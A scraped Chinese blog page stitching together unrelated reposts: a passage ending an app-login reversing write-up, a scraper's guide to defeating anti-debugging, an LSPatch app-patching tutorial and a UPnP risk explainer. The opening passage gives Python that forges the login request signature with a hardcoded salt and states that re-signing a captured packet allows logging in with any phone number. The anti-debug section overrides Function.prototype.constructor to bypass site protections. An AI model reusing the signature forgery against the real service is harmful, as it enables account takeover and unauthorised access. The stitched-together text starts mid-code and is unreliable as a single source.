"sessionKey": "5a556c5a8288afd815bd6ef2a96ddf2e2e7b795abbc4304ac333a2352296d2e9",
"thirdType": "56e32732df18962b0dab4454799fdd64",
"timeHashPf": "1744596343852"
}

# 按字母顺序排序键
sorted_keys = sorted(params.keys())
# 拼接键值对
raw_str = "".join([f"{key}={params[key]}" for key in sorted_keys])
# 追加固定字符串
raw_str += "zoe-health3f7e609f0a22108e"
# MD5 计算并大写
sign = hashlib.md5(raw_str.encode()).hexdigest().upper()
print(sign)

运行 python 文件,输出的 md5 值和原始数据中的 sign 值一致

image

image

现在流程全部走完了

复现流程

抓取登录数据包,将密文都进行解密处理后,输入任意手机号,加密处理,将加密后的内容放入加密sign脚本文件中生成一个新的sign值,替换sign。就可以实现任意手机号登录。

image

image

image

image

【爬虫】网站反debugger、内存爆破以及网站限制开发者工具

【爬虫】网站反debugger、内存爆破以及网站限制开发者工具

本文转自 NPE~ 并作补充

常见情形

目前网站反爬手段有很多,比如:网站反debugger、内存爆破、限制开发者工具等

情况一:debugger(右键不在此停止)

问题: 有部分网站做了反debugger处理,当我们打开开发者工具的时候会直接断点停在某个位置。

image

  • 解决办法:右键点击,选择永不在此停止。然后放过断点,即可继续调试。

前提:该debugger构造函数需要没有内容。如果网站开发者自定义的debugger构造函数后面有内容,是在写入数据的话(不断写入空列表、其他字符等),我们跳过断点会导致持续写入,导致内存溢出,页面卡死。

image

情况二:内存爆破

绝大多数网站反debugger会更加高深,会使用到内存爆破以及混淆技术。导致我们通过简单的右键不在此停止无法破解。

我们使用右键不在此停止,并且跳过断点后,会导致浏览器卡死。

情况三:右键被管理员禁用

部分网站会直接限制我们使用开发者工具,我们右键或者F12打开均无效,都被禁用。

我们想右键,打开开发者工具时,发现被禁用。

image

情况四:监测函数执行时间

image

我们通过快捷键强制打开开发者工具,发现页面提示非法调试。

image

image

最终发现页面是通过判断当前window大小以及函数运行时间来确认是否存在非法调试。

解决办法

方法一:控制台-右键不再此停止

如果我们打开开发者工具后,发现自动进入断点。

  1. 首先尝试,鼠标右击永不在此停止
  2. 放过该断点,即可继续调试

方法二:本地注入JS,覆盖之前老的JS

如果方法一无效:放过断点后会导致浏览器页面卡死。即可使用本地注入JS方法,将debugger构造器置空,覆盖之前的JS。

  • 分析浏览器卡死原因:网站开发者自定义的debugger构造器不为空,在持续写入数据。
  • 本地注入JS不能刷新网站,否则会导致我们本地注入的JS失效。

分析原因:浏览器卡死原因

我们单步执行断点,发现进入了VM虚拟环境,并且该JS是进行了混淆的。

image

下面这种有特殊字符+数字+字母的,基本就是进行过JS混淆的:

image

对于这种混淆过的JS代码,我们需要对其进行还原:

还原方法:复制JS代码,然后在控制台执行即可

1
2
//我们需要进行分段还原,否则一次性全部执行,会报not a function
[s(0, -259, -213, 0, "I#ue") + f(1271, 974, 1135, "e!3a") + "r"](r[f(1221, 1495, 1373, "v&9u")](r[g(1467, 0, 0, "&UOm")], r[n(0, "ujyL", -6)]))[s(0, 13, 12, 0, "7Iko")](r[g(1540, 0, 0, "nX(R")]);

image

还原后JS代码:‘constructor’ apply stateObject => 可以推测出,该自定义构造函数在初始化时,还做了加载某个对象的操作。及时我们右键点击了不再此停止,放过断点,但是依然会有源源不断的对象进行加载,最后导致浏览器卡死。

解决办法:本地注入JS

我们已经定位到了浏览器卡死是因为自定义的debugger构造器不断注入对象导致,那么我们就可以本地执行代码,替换该JS片段,让debugger构造器返回空,无法实现注入对象。

  1. 新建代码片段

image

1
2
3
4
5
6
7
8
9
10
// 将debugger构造函数替换置空,防止内存爆破
// 1. after_debugger_handle 接收我们的构造器
// 2. 判断构造器如果构造了一个debugger的东西,我们就将其置空
after_debugger_handle = Function.prototype.constructor;
Function.prototype.constructor = function(a){
if (a == "debugger") {
return function(){};
}
return after_debugger_handle(a);
};
  1. 点击下方的执行按钮,执行代码片段

image

控制台未报错,表明注入成功,此时我们放过断点,发现浏览器不再卡死,即可继续调试。

注意:

  1. 注入后不能刷新页面,否则页面重新加载会导致之前的注入失效。

image

  1. 注入需要等网页数据全部加载完成后再进行,否则可能会报注入失败,JS函数找不到。

拓展:JS混淆(对网页的JS代码进行处理加密)

概念

网站开发者为了防止我们对网站进行调试或者逆向分析,会对JS代码进行处理、保护。

  • 实际就是对JS代码进行编码、加密处理等。

JS压缩混淆:删除无用空白、缩短变量名

JavaScript 压缩混淆主要通过删除无用的空白字符、注释、缩短变量名等方式减小代码体积。压缩混淆不仅可以减少文件大小,还能在一定程度上增加代码阅读难度。

OB混淆:插入不透明谓词(函数逻辑)

OB 混淆(Opaque Predicate Obfuscation)是一种复杂的混淆技术,通过插入不透明谓词来掩盖代码的真实逻辑,使逆向工程师难以理解代码的实际功能。

原始代码:

1
2
3
if (x > 10) {
console.log("x is greater than 10");
}

OB混淆后:

1
2
3
4
5
6
function isTrue() {
return Math.random() > 0.5; // 不透明谓词
}
if (isTrue() || x > 10) {
console.log("x is greater than 10");
}

在这个示例中,isTrue 函数的返回值是随机的,不透明谓词使得控制流变得更加难以预测。逆向工程师必须理解 isTrue 函数的实现才能准确分析代码逻辑。

变量混淆:重命名函数方法,改为a、b、c等

变量混淆通过重命名变量和函数名来增加代码的阅读难度,使得代码更难以理解。混淆后的变量名通常是无意义的短字符,如 a、b、c 等。

字符串混淆:对字符串进行编码和转换

字符串混淆通过对字符串进行编码和转换,使得字符串的真实内容难以直接查看。常用的字符串混淆技术包括 Base64 编码和字符替换。

属性加密:对部分字段,如:用户名、年龄等进行加密

属性加密通过对对象属性进行加密,保护对象的内部数据。常用的加密方法包括简单的 XOR 操作和更复杂的加密算法。

控制流平坦化:引入虚拟机+状态机,加大代码逻辑复杂度

控制流平坦化通过重构代码的控制流,使得代码逻辑更加复杂和难以理解。平坦化技术常用于保护程序的执行流程。控制流平坦化通过引入虚拟机和状态机来重构代码的控制流。

案例:原始的条件语句被转换为一个状态机,控制流被重构成一系列状态和转换。这种方法使得代码的控制流更加复杂,增加了理解和分析的难度。

原始代码:

1
2
3
4
5
if (x > 10) {
console.log("x is greater than 10");
} else {
console.log("x is 10 or less");
}

控制流平坦化处理后代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
const states = [0, 1];
let state = 0;

function execute() {
switch (state) {
case 0:
if (x > 10) {
state = 2;
return;
} else {
state = 3;
return;
}
case 1:
console.log("x is greater than 10");
state = 4;
return;
case 2:
console.log("x is 10 or less");
state = 4;
return;
case 4:
// end state
return;
}
}

while (state !== 4) {
execute();
}

案例

可以看到下方对有一串字母以及数字,这种情况一般就是JS混淆,让我们无法知晓他JS源代码是什么样子。

image

解决办法:

  • 如果该网站使用的是开源的JS混淆代码,我们可以通过工具进行还原。
  • 如果网站使用的是自定义的混淆逻辑,我们只有手动通过控制台进行处理还原(直接复制混淆代码,然后放入控制台,回车即可进行还原。)

image

参考文章

https://blog.csdn.net/weixin_52392194/article/details/141159872

lspatch及其类似物使用教程

lspatch及其类似物使用教程

本文转自 Chen 并作补充

首先我们要了解lspatch是什么

lspatch是一款基于Android的免root框架,由LSPosed框架的开发者推出。它允许用户在不解锁Bootloader(简称bl锁)或获取Root权限的情况下,将Xposed模块内置到App中,从而实现在Android设备上添加新功能、修改系统设置或改变系统外观等个性化操作。

lspatch兼容大部分Android设备,特别是支持Android 9及其以上版本。它采用从应用内部修改的方案,而传统的Xposed方案则是从外部借助root权限修改。

特点与优势

lspatch解决了非ROOT设备无法使用模块的痛点,无需解锁BL或获取Root权限,即可使用Xposed模块。它提供了与原版Xposed相同的API,使用YAHFA(或SandHook)进行hook,保证了功能的稳定性和兼容性。lspatch的使用相对简单,即使对于手机操作新手来说,也能轻松上手。

缺陷与不足

由于lspatch实现Xposed功能是基于修改应用安装包实现的,因此,在安装包出现改动后,安装包的签名会发生变化。这会导致一些对签名验证非常严格的应用无法识别到修补后的应用,会对应用本身的使用体验造成极大的影响(例如提示签名与开放平台不一致,导致无法调用微信,对于没有root的机器来说无解)。应用也无法通过应用商店正常更新,无论是更新Xposed模块(ps:本地模式不用)还是更新应用版本,都需要到lspatch内对新版安装包重新修补。

此外,并不是所有的应用都能够进行修补,例如一些被企业数字加固过的安装包在修补过后会出现闪退等现象。对于不同的修补方式,不同的应用也会存在一些兼容性上的问题,导致某些模块无法正常工作或产生不可预期的行为,存在一定的局限性。

最后,lspatch只能使用作用域是应用本身的模块,一些作用域是系统本身的模块是无法使用的,因此玩机资源相较于LSPosed会少很多,部分开发者也对免root框架感到不满(出于防止倒卖以及开发考虑的目的),可能会在功能使用上进行较大的限制。

修补方式的区别

本地模式:模块作用域可以动态更改,用户可以随时更改生效的模块。在仅更新模块时不需要再走一遍修补流程,直接升级模块即可(更新完模块记得重启一下应用)(更新应用依然要重新修补)。但经修补的应用需要lspatch管理器保持后台运行才能正常启动。这意味着用户需要始终确保lspatch在后台运行,否则修补后的应用会出现闪退等情况,无法正常工作。

便携模式:经修补的应用可以在没有管理器的情况下运行(可以不用把lspatch锁后台),修补后的成品安装包也可以直接分享出去,接收者无需进行任何操作就可以使用(网上各种定制包的由来)。但Xposed作用域不能动态管理配置。无论是更新模块还是更新应用都要到lspatch内重新走一遍修补流程。这限制了用户在使用过程中的灵活性和定制性。在目前的大环境下,一些模块并不支持便携/内置模式(被开发者抵制),功能限制更多。

在签名一致的情况下,本地模式可以与便携模式互相转化。

目前主流的版本

lspatch:原版,由由LSPosed框架的开发者推出,现已归档停更。快捷安装功能依赖shizuku。

npatch:lspatch的改版,有第三方作者对其进行维护,与原版区别不是很大,但不大好用。

opatch:lspatch的魔改版本,对原版进行了优化,解决了原版lspatch需要锁后台以保证前台应用正常运行的缺陷(无需锁后台),且脱离了对shizuku的依赖,是目前免root框架最常用的版本。唯一的缺点是启动opatch时会有“原神”的启动动画,对于一些反感原神的用户不太友好。

onpatch:opatch的修改版本,在保留opatch的所有功能特性的基础上,仅去除了“原神”的启动动画,对一些内容也进行了微调。

实机演示

以下演示版本为onpatch,演示应用为微博,Xposed模块为微博猪手

image

onpatch主界面

image

onpatch设置页面(详细注入日志可以关掉)

image

onpatch管理页(应用)

在授权读取应用列表后就可以看到我们目前能被lsp识别到的应用

image

onpatch管理页(模块)

在这里可以看到我们设备上已经安装的模块

image

我们在应用管理页点击右下角的加号,在“选择存储目录”中点击“确定”。

这一步是用来确认我们修补之后的应用安装包会保存在系统的哪个位置

我们在文件管理器中选择一个用于存放修补后安装包的文件夹

image

再次回到应用管理页,点击右下角的加号

如果你的设备还没有安装这个应用,或者是打算更新已修补的应用,就选择第一个选项,在手机存储目录里找到你要使用的安装包。

如果你的设备已经安装了这个应用的原版(注意不是修补版本,因为不能二次修补),那么则选择第二个选项,在提供的应用列表里选择这个应用即可。

image

image

进入此页面后,我们可以调整修补设置。例如“注入文件提供者”推荐打开(配合MT管理器使用),“输出日志到目录”推荐关闭(如果没有反馈需求的话),覆写版本号按需打开(因为部分应用和模块对版本号有强制要求,除非有降级需求不然一般不开,开了之后应用商店会一直提示更新容易逼死强迫症)

本地模式与便携模式的区别在上文有说

image

本地模式下直接点击“开始注入”,此时会输出一个签名不一样的安装包

image

如图,如果我们一开始已经安装了原版应用,就需要卸载原版应用重新安装修补后的安装包。注意备份重要数据。

(如果有核心破解可以忽略,不过都核心破解了谁还用patch)

image

我们回到应用管理页面,可以看到多了一个应用(显示为“本地加载器模式”,“7”代表修补时lspatch的版本,如果后续lspatch更新的话会出现“优化”选项,点击“优化”就可以同步lspatch的版本),点击刚刚安装的应用,选择“模块作用域”

image

在弹出的模块页面里勾选我们需要使用的Xposed模块,勾选后点击右下角的“✔”

image

此时我们在应用设置页面强制停止这个应用,并清理应用缓存(防止出现兼容性问题导致闪退)。完成后进入该应用的设置页面,可以看到模块已成功生效。(一般模块的入口都会在设置页)

image

如果你选择的是便携模式(内置模式),那么点击“嵌入模块”

image

如果你的模块没有安装,或者想直接打包更高版本的模块,就选择第一个,找到你需要嵌入的Xposed模块安装包

如果你已经安装了模块,那么就选择第二个,在弹出的模块列表里勾选你需要注入的模块,勾选后点击右下角的“✔”,点击“开始注入”

image

安装后就可以看到刚刚安装的应用显示的是“内置模式”,不可对其进行本地模式的操作

内容大致就是这些,上文涉及到的 lsp 加载器以及模块可以直接在网上搜,绝大部分都能在爱玩机工具箱、酷安、GitHub 等平台上找到。

简单提供一些下载链接

lsp加载器下载链接

爱玩机工具箱

酷安

希望各位能养成爱动手,善查询,会提问的好习惯!

image

什么是 UPnP?这就是为什么您应该在路由器上禁用它的原因

什么是 UPnP?这就是为什么您应该在路由器上禁用它的原因

本文转自 Windows社区 并作补充

如果您仔细查看过路由器的设置,您可能会发现一种名为“UPnP”的东西。虽然 UPnP 背后的技术旨在让您的生活变得更加方便,但网络犯罪分子可以利用它来攻击您的设备。那么,让我们探讨一下什么是 UPnP 以及为什么应该禁用它。

什么是 UPnP?

UPnP 代表“通用即插即用”。就其本身而言,它不是恶意服务——它的发明是为了让您的生活更轻松。

UPnP 允许本地网络上通过路由器连接的设备相互查找。例如,如果您购买了一台通过 Wi-Fi 运行的全新打印机,您将希望您的设备(例如计算机和手机)能够“看到”它并向其发送打印作业。

如果没有 UPnP,您需要通过其 IP 地址手动告知每个设备您的打印机在网络上的位置。但是,UPnP 允许打印机向所有其他设备广播其存在,以便它们可以“看到”它并使用它进行打印。此外,您的设备会自动处理端口和通信,从而允许最少的用户交互来进行设置。

为什么 UPnP 存在安全风险?

不幸的是,虽然 UPnP 使您的设备更容易找到彼此,但它也为恶意软件和不良行为者访问您的网络打开了大门。

例如,采用专为远程访问而设计的室内摄像机。如果该摄像头的安全性很差,并且允许外部任何人使用 WAN 上的 UPnP(广域网 - 进入您家的互联网)访问它,则黑客可能会跳入并监视内部发生的情况。如果他们知道摄像头中的房子在哪里,他们就可以利用这些信息来了解房主何时外出并实施入室盗窃。或者只是观察您的日常活动。

此外,如果网络上的设备感染了恶意软件,病毒可以检查它是否可以跳转到网络上的其他设备。如果启用了 UPnP,恶意软件可以使用这些开放通道跳转到更多计算机并在您的本地网络中传播。

通过 UPnP 进行攻击有多现实?

这听起来可能很可怕,但您遇到 UPnP 攻击的可能性有多大?

如果您的路由器性能良好,它不会支持 WAN 上的 UPnP,这就排除了黑客使用该技术进行远程攻击的可能性。您更容易受到 LAN(局域网 - 您家中的本地网络)的攻击,其中一台设备被感染并在整个网络中传播。

但是,如果您确保设备免受恶意软件的侵害、安全地浏览并安装最好的防病毒程序之一,那么您很有可能相信您的设备不会传播病毒。如果您想确定,可以在路由器上禁用 UPnP。

如果禁用 UPnP 会发生什么?

如果禁用 UPnP,您的路由器将不再自动管理连接到路由器的每个设备的端口。这意味着您需要手动端口转发才能让它们相互通信。

因此,您需要做出决定。您是否更喜欢 UPnP 的便利性,它可以让您轻松地将设备连接到 LAN?或者您是否担心有人利用这些渠道造成损害并窃取数据?如果您喜欢方便,请坚持使用 UPnP 并确保您的设备安全;如果您更喜欢安全性,请手动处理端口转发,这样它们就不会被利用。

如何禁用 UPnP?

如果您决定取消 UPnP,则需要访问路由器。您会经常这样做,因为每次需要转发新端口时(即将新设备连接到网络时),您都需要重新访问它。

我们在保护路由器安全的简单提示中介绍了禁用 UPnP,因此如果您想最大限度地提高路由器的安全性,请务必检查一下。

UPnP 是一项有用的功能,但网络犯罪分子可以利用它。虽然您可以禁用它并执行手动端口转发,但由于良好的浏览习惯和可靠的安全性,有些人可能永远不会遇到 UPnP 的攻击。因此,在决定是否启用 UPnP 时,值得权衡这两个论点。